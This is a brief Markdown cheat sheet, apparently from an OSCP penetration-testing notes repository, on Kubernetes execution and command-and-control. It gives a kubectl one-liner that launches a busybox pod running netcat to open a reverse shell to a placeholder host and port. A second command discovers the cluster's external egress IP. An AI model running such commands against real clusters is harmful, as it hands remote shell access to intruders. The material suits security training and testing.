Files
oscp/Necronomicon/Cloud/Kubernetes/Execution-C2.md
T
2025-11-21 17:17:42 +01:00

5 lines
273 B
Markdown

- Run a Reverse Shell from the Kubernetes Cluster to your Host
- `kubectl run pod-shell --image=busybox -- nc <HOST> <PORT> -e /bin/sh`
- Get the External IP for Egress Communication to the Internet
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://ipinfo.io/json`